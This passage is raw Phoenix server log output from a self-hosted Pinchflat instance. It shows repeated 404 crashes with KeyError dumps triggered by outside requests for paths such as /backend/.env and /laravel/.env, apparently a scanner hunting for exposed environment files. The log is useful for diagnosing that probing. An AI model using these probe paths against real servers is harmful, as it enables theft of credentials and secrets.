"pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49468}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3184.0>, params: %{}, path_info: ["api", "shared", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/shared/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-d6fniGQ6RIAAN2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3183.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49468}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3183.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49468}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3184.0>, params: %{}, path_info: ["api", "shared", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", (truncated) 21:08:39.436 [info] GET /backend/.env 21:08:39.437 [info] GET /api/shared/config/.env 21:08:39.437 [debug] QUERY OK source="settings" db=0.3ms idle=193.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.437 [debug] QUERY OK source="settings" db=0.1ms idle=54.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.438 [debug] QUERY OK source="settings" db=0.2ms idle=54.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.438 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.438 [debug] QUERY OK source="settings" db=0.2ms idle=24.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.438 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.438 [error] #PID<0.3187.0> running PinchflatWeb.Endpoint (connection #PID<0.3185.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3185.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49474}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3187.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-eAWeSWBAHEAAN4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3185.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49474}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3185.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49474}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3187.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {" (truncated) 21:08:39.439 [error] #PID<0.3188.0> running PinchflatWeb.Endpoint (connection #PID<0.3186.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/shared/config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3186.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49476}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3188.0>, params: %{}, path_info: ["api", "shared", "config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/shared/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-eAZ4dGEeMYAAGsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3186.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49476}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3186.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49476}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3188.0>, params: %{}, path_info: ["api", "shared", "config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gec (truncated) 21:08:39.445 [info] GET /laravel/.env 21:08:39.445 [debug] QUERY OK source="settings" db=0.2ms idle=31.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.446 [debug] QUERY OK source="settings" db=0.2ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.446 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.446 [error] #PID<0.3190.0> running PinchflatWeb.Endpoint (connection #PID<0.3189.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /laravel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3189.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49480}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3190.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-eCSevMVEc8AAN6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3189.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49480}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3189.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49480}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3190.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {" (truncated) 21:08:39.595 [info] GET /laravel/core/.env 21:08:39.596 [debug] QUERY OK source="settings" db=0.3ms idle=158.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 